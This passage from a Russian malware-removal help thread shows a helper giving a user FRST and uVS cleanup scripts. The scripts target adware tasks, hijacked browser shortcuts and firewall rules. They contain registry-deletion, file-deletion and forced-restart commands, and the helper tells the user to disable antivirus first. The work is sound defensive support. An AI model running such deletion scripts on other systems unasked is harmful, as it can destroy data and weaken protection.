Task: {90B93727-E387-4F54-812A-573E5DFEEC23} - System32\Tasks\utorrent\utorrent => Rundll32.exe "C:\ProgramData\371a299a636K166\371a299a636K166.dll",aKecRQRn
Task: {91B9FB8B-C7A9-4579-A247-243DDD067B63} - \gplyra\gplyra-setup -> No File <==== ATTENTION
Task: {968B28EC-97BB-464A-980E-35D4EDD29ED5} - \temp\qqpcmgr_v11-8-17919-214_45844_silence -> No File <==== ATTENTION
Task: {9810EAA6-9ECD-4425-B992-1AEA6BEE4C55} - \temp\qqpcmgr_v11-8 -> No File <==== ATTENTION
Task: {A91E19A2-91F1-4026-AE1A-60B20CCA480D} - \event monitor\em -> No File <==== ATTENTION
Task: {B885231E-4439-46C9-BB38-05034C19BB98} - \temp\qqpcmgr_v11-8-17919 -> No File <==== ATTENTION
Task: {C06B08D3-A6CE-4361-9C38-C897E097211E} - \qqpcmgr\11-8-17919-214\qqrepair -> No File <==== ATTENTION
Task: {C2959D72-9AFD-4E5F-AAA2-6A37B5836B5E} - \qqpcmgr\11-8-17919-214\qmchecknetwork -> No File <==== ATTENTION
Task: {C9EFEFD5-331A-4196-8176-D53DD957EA77} - \temp\windowsupdatekb12695__7428_il1 -> No File <==== ATTENTION
Task: {D13C68FF-0146-4D40-A103-02F70168BA66} - \qqpcmgr\11 -> No File <==== ATTENTION
Task: {D50D95F5-4223-4A1C-B0E6-42463A26D55B} - \qqpcmgr\11-8-17919-214\qmspeedupplugin\phonerocket\dock_5-8 -> No File <==== ATTENTION
Task: {DC48FBD8-C190-4149-8D18-7085E0299E90} - \qqpcmgr\11-8-17919-214\qmsignscan -> No File <==== ATTENTION
Task: {DC9115E4-BBBF-4BA7-925B-9549B2CE4DD0} - \qqpcmgr\11-8 -> No File <==== ATTENTION
Task: {E27654C1-947B-4AD7-A358-78531DDCC274} - \temp\zone5 -> No File <==== ATTENTION
Task: {F3F2B32B-C847-4DC2-89C0-CE567121FD8E} - \qqpcmgr\11-8-17919-214\qmspeedupplugin\phonerocket\dock_5-8-0-6\qqpcphonedock -> No File <==== ATTENTION
Task: {F934CD23-E7F1-475B-A1ED-4D90DAB3379B} - \qqpcmgr\11-8-17919-214\qmspeedupplugin\phonerocket\dock_5-8-0 -> No File <==== ATTENTION
Task: {FBE6220A-6E8E-4001-AE02-1D2B811B79F6} - \temp\qqpcmgr_setup -> No File <==== ATTENTION
Shortcut: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk -> C:\Program Files (x86)\Fanlook\Application\chrome.exe (Google Inc.)
Shortcut: C:\Users\Public\Desktop\Google Chrome.lnk -> C:\Program Files (x86)\Fanlook\Application\chrome.exe (Google Inc.)
ShortcutWithArgument: C:\Users\konst\Desktop\BigFarm.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://bigfarm.goodgamestudios.com/?w=239064
ShortcutWithArgument: C:\Users\konst\Desktop\big_bang_empire.lnk -> C:\Program Files\Internet Explorer\iexplore.exe (Microsoft Corporation) -> hxxp://www.bigbangempire.com/?ref=281-000-000-005
ShortcutWithArgument: C:\Users\konst\Desktop\chrome — ярлык.lnk -> C:\Program Files (x86)\Google\Chrome\Application\chrome.exe (Google Inc.) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
ShortcutWithArgument: C:\Users\konst\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\ImplicitAppShortcuts\e650d753eb7fc87c\Google Chrome.lnk -> C:\Program Files (x86)\Baglook\Application\chrome.exe (Google Inc.) -> hxxp://www.ourluckysites.com/?type=sc&ts=1495458528&z=2448e9343573a978dc05fb7g8z4t6w8zfwcbdw1g5w&from=che0812&uid=ST500LT012-1DG142_SBY4MKB8XXXXSBY4MKB8
MSCONFIG\Services: cphs => 3
MSCONFIG\Services: QHActiveDefense =>
FirewallRules: [{6F1B5E97-CCE4-49F5-AFA6-EE557BCE2CAA}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{F68E2B83-ECAF-4984-B374-8420E08A0336}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe
FirewallRules: [{FD8C5192-1FD6-4E9B-AF89-C0E5D2FD6B29}] => (Allow) C:\Program Files (x86)\MIO\loader\st500lt012-1dg142_sby4mkb8xxxxsby4mkb8.dat
FirewallRules: [{E99F41A1-55C0-4F79-9438-ECA2435279C5}] => (Allow) C:\Program Files (x86)\MIO\loader\st500lt012-1dg142_sby4mkb8xxxxsby4mkb8.dat
FirewallRules: [{A2EF4E29-CAC5-4E12-BA05-F9053F045D9C}] => (Allow) C:\Program Files (x86)\Fanlook\Application\chrome.exe
FirewallRules: [TCP Query User{A351E7B8-96B7-4C1B-8672-313BA829B365}C:\program files (x86)\baglook\application\chrome.exe] => (Allow) C:\program files (x86)\baglook\application\chrome.exe
FirewallRules: [UDP Query User{C4CB139F-843F-49B0-BA59-BC93C736B8C0}C:\program files (x86)\baglook\application\chrome.exe] => (Allow) C:\program files (x86)\baglook\application\chrome.exe
CMD: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{97D2FBF4-72CF-4DD6-8DA8-26710BC7BE71}" /f /reg:32
CMD: reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{B20B3A3C-91E3-4326-8A0F-B3C012574F8C}}" /f /reg:32
EmptyTemp:
Reboot:[/CODE]
Сохраните (Ctrl+S) и закройте.
Отключите до перезагрузки антивирус, [U]закройте все браузеры[/U], в FRST нажмите [B]Fix[/B] и подождите. Программа создаст лог-файл ([B]Fixlog.txt[/B]). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.

Скачайте утилиту Universal Virus Sniffer [URL="https://yadi.sk/d/6A65LkI1WEuqC"]отсюда[/URL] и [url=http://virusinfo.info/showthread.php?t=121767]сделайте полный образ автозапуска uVS[/url].
Если полный образ автозапуска не влезет во вложения - загрузите его в доступное облачное хранилище или на файлообменник (rghost.ru, например) и дайте ссылку в теме.
03.06.2017, 12:39
RubichekS

после выполнения avz скрипта [ATTACH=CONFIG]661095[/ATTACH]

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Fixlog - во вложении

[COLOR="silver"]- - - - -Добавлено - - - - -[/COLOR]

Universal Virus Sniffer - лог [url]https://drive.google.com/open?id=0B9ZTXVitdNeBLVJIbDFhTHBPT0E[/url]
03.06.2017, 13:19
Vvvyg

Корзину потом починим, сперва вирусы добить надо.

Скопируйте скрипт ниже в буфер обмена (выделить и нажать Ctrl-C):[code];uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv10.0
v400c
OFFSGNSAVE
zoo %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\IMAGE\CAPCADF.TMP:AD
addsgn A7679B1928664D070E3CF4B564C8ED70357589FA768F17903B3D3A43D3127D11E11BC302B5B9CBB65E880F6EAE4E49FA7D18EE5A77DBA0A7EB29F9EDC306A112 16 ADWARE/ELEX.rzjqn [Avira] 7
chklst
delvir
zoo %SystemDrive%\PROGRAM FILES (X86)\MIO\MIO.EXE
deldir %SystemDrive%\PROGRAM FILES (X86)\MIO
zoo %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\IMAGE\CAPCADF.TMP:AD
dirzooex %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\IMAGE
deldir %SystemDrive%\PROGRAMDATA\MICROSOFT\WINDOWS\IMAGE
delref %SystemDrive%\PROGRAM FILES (X86)\IOBIT\IOBIT MALWARE FIGHTER\IMFSHELLEXT.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\BAGLOOK\APPLICATION\CHROME.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\360\TOTAL SECURITY\QHSAFEMAIN.EXE
delref %SystemDrive%\PROGRAMDATA\00502845-1105-1\00502845-1105-1.D
delref %SystemDrive%\PROGRAMDATA\00502845-5CA3-0\00502845-5CA3-0.D
delref %SystemDrive%\PROGRAMDATA\KMSAUTOS\KMSAUTO NET.EXE
delref %SystemDrive%\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\OFFICE16\OLICENSEHEARTBEAT.EXE
del %SystemDrive%\USERS\KONST\DESKTOP\ОЧИСТКА ВРЕМЕННЫХ ФАЙЛОВ.LNK
delref %SystemDrive%\USERS\KONST\APPDATA\LOCAL\TEMP\HYD9AE8.TMP.1492199800\HTA\3RDPARTY\FS.OCX
delref %SystemDrive%\PROGRAM FILES (X86)\IOBIT\IOBIT UNINSTALLER\UNINSTALER_SKIPUAC.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\IOBIT\IOBIT UNINSTALLER\UNINSTALLEXPLORER.DLL
apply
czoo
restart[/code]
Запустите файл start.exe из папки с uVS, выберите "Запустить под текущим пользователем", в главном меню программы - Скрипты -> выполнить скрипт из буфера обмена.
Компьютер перезагрузится.

В папке с uVS появится архив ZIP с именем, начинающимся с ZOO_ и далее из даты и времени, отправьте этот файл по ссылке "Прислать запрошенный карантин" над над первым сообщением в теме.

В папке с UVS будет лог выполнения скрипта, текстовый файл с именем из даты и времени выполнения, прикрепите его с своему сообщению.
03.06.2017, 13:27
RubichekS

лог
03.06.2017, 15:32
Vvvyg

Скачайте [URL="http://www.tweaking.com/files/setups/tweaking.com_windows_repair_aio.zip"]Windows Repair (All In One)[/URL], распакуйте, запустите, закладка "Repairs", "Open Repairs", отметьте пункты:
[B]22 "Repair Windows Snipping Tool"[/B]
[b]34.01 "Repair Recycle Bin C:"[/b]
и нажмите "[B]Start Repairs[/B]".

После перезагрузки проверяйте проблемы.
03.06.2017, 16:49
RubichekS

Спасибо большое! Работает
03.06.2017, 17:15
Vvvyg

Сделайте лог [URL="http://virusinfo.info/showthread.php?t=146192&p=1041844&viewfull=1#post1041844"]Malwarebytes AdwCleaner[/URL].
03.06.2017, 17:25
CyberHelper

Итог лечения

Статистика проведенного лечения:
[LIST][*]Получено карантинов: [B]2[/B][*]Обработано файлов: [B]8[/B][*]В ходе лечения обнаружены вредоносные программы:
[LIST=1][*] c:\windows\system32\wbiosrvp.dll - [B]not-a-virus:AdWare.Win32.Esprot.alq[/B][/LIST][/LIST]